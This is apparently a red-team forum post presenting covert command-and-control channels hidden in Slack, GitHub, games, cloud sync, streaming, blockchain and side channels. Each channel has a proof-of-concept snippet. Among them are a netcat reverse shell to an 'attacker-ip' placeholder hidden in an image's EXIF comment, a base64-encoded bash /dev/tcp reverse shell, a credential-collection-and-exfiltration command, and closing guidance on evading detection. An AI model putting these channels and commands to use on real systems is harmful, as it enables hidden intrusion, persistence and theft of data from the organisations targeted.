Next-Gen Covert Channels for Red Team

dEEpEst · Jun 9, 2025

Beyond DNS-over-HTTPS: Next-Gen Covert Channels for Red Team Operations

As defenders sharpen their tools against DNS-over-HTTPS (DoH) C2 traffic with JA3 fingerprints, behavioral analytics, and anomaly detection, Red Teams must pivot to new, stealthier command and control strategies. In this post, we dive deep into cutting-edge C2 channels that go far beyond noisy DNS tricks, utilizing legitimate platforms, real-time APIs, and even physical side channels to maintain persistence without detection. This article also includes Proof of Concepts (PoCs) for each technique, demonstrating real-world applications.

This article complements the Blue Team vs. Next-Gen Covert C2 Channels: Detection and Mitigation, providing practical countermeasures.

1. Covert Channels via Legitimate APIs

Targets: Slack, GitHub, Trello, Notion, Figma, Google Docs

Technique: Leveraging trusted APIs to embed C2 data into legitimate request structures.

Slack PoC:
A bot updates its Slack status every 60 seconds with an emoji name that encodes a short base64 string:

Code:

POST /api/users.profile.set
Content-Type: application/json
Authorization: Bearer xoxb-***

{
"profile": {
"status_text": "busy",
"status_emoji": ":bG9hZF9jb2RlOg==:"
}
}

The malware decodes the emoji name as the payload. Can be used for beaconing or sending instructions.

GitHub PoC:
Create a Gist and use the comment section for C2 traffic:

Code:

GET /gists/abcd123/comments

The attacker posts commands as:

Code:

// CMD: collect-creds && exfil /tmp/creds.txt

This traffic looks benign to GitHub and is indistinguishable from standard developer activity.

Advantages:

Seamless integration into corporate networks.

Hard to blacklist without breaking tools.

Limitations:

Strict API rate limits.

Monitoring might catch large payloads.

2. Gaming Platforms as C2 Infrastructure

Targets: Minecraft, Roblox, Discord SDK, Fortnite

Method: Embedding data in game mechanics (signs, commands, names).

Minecraft PoC:
An infected bot joins a server and reads in-game signs placed by the operator:

Code:

/setblock ~ ~ ~ sign[message1="ls",message2="/tmp"]

The bot parses signs every 60s and executes instructions embedded in them.

Discord SDK PoC:
Use rich presence metadata for C2:

Code:

{
"state": "📡",
"details": "ZG93bmxvYWRfZXhlYw=="
}

Malware running on the client decodes this field. This is not logged in most endpoint monitoring systems.

3. Sync Services as Stego Dropboxes

Targets: Dropbox, Google Drive, OneDrive

Method: Store commands in images (LSB/EXIF) synced across devices.

Google Drive PoC:
Upload a file

Code:

company_report.jpg

with commands in its EXIF tag:

Code:

exiftool -Comment="exec: nc -e /bin/sh attacker-ip 4444" company_report.jpg

Agent downloads and parses the file regularly. All traffic is HTTPS and hidden behind Google domains.

LSB Example:
Payload embedded in pixel data:

Code:

stegolsb hide -i cover.png -s "recon" -o payload.png

4. Streaming & Media Services

Targets: YouTube, Twitch, Spotify

Method: Embed encoded commands into titles, chat, or descriptions.

YouTube Live Chat PoC:
The operator sends a message in chat:

Code:

!beacon:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8xMzM3IDA+JjE=

(base64 for reverse shell)

Spotify Playlist Title PoC:
Playlist named:

Code:

job_#ZXhwbG9pdA==

Bot queries public playlists and decodes jobs.

5. Side-Channel Communication

Targets: Nearby devices, air-gapped systems

Ultrasound PoC:
Using speakers to emit a frequency >20kHz:

Code:

import sounddevice as sd
import numpy as np
fs = 44100
t = np.linspace(0, 1, fs)
sd.play(np.sin(21000 * 2 * np.pi * t))

Receiver listens for frequency pattern to interpret data.

Bluetooth Beaconing:
Bot rotates UUID values every 60s:

Code:

hcitool cmd 0x08 0x0008 $ENCODED_UUID

6. Blockchain-Based C2 Channels

Targets: Ethereum, Namecoin, Handshake

Ethereum PoC:
Send transaction with base64 payload in data:

Code:

eth_sendTransaction {
"to": "0xcontract",
"data": "0x626561636f6e5f636f6d6d616e64"
}

Bot watches Etherscan for commands.

Smart Contract Beacon PoC:
Read variable from contract:

Code:

web3.eth.call({to:contract, data:0x...})

7. Exotic Channels

BitTorrent Magnet Link PoC:
Encode job in hash:

Code:

magnet:?xt=urn:btih:a94a8fe5ccb19ba61c4c0873d391e987982fbbd3&dn=cmd_recon

SMTP Bounce PoC:
Send email to non-existing address:

Code:

echo "Subject: test\n\nCMD: whoami" | sendmail [email protected]

Bounce received by attacker with embedded instruction.

NTP Timestamp Abuse:
Custom NTP server sends crafted timestamp bits:

Code:

CMD: GET_TIME => bits 56-63 contain opcode

Bot masks bits and runs logic.

Operational Guidelines
Rotate multiple channels.
Use low, irregular frequency beaconing.
Obfuscate content: base64, encryption, EXIF.
Maintain network mimicry (header, user agent, jitter).

Related Article: Blue Team vs. Next-Gen Covert C2 Channels: Detection and Mitigation

Conclusion
The age of simple DNS tunneling is over. Truly stealthy C2 lives in plain sight — hiding among trusted services, expected traffic, and authenticated endpoints.
By leveraging tools and platforms organizations rely on daily, attackers can achieve persistence without lighting up detection systems.
As always, this knowledge is a double-edged sword — useful for defense as much as offense. Train your blue team to look deeper than just logs: look for intent within the noise.

Disclaimer: This post is for educational and research purposes only. Unauthorized access or control of systems is illegal. Use these techniques only in lawful, authorized penetration testing scenarios.

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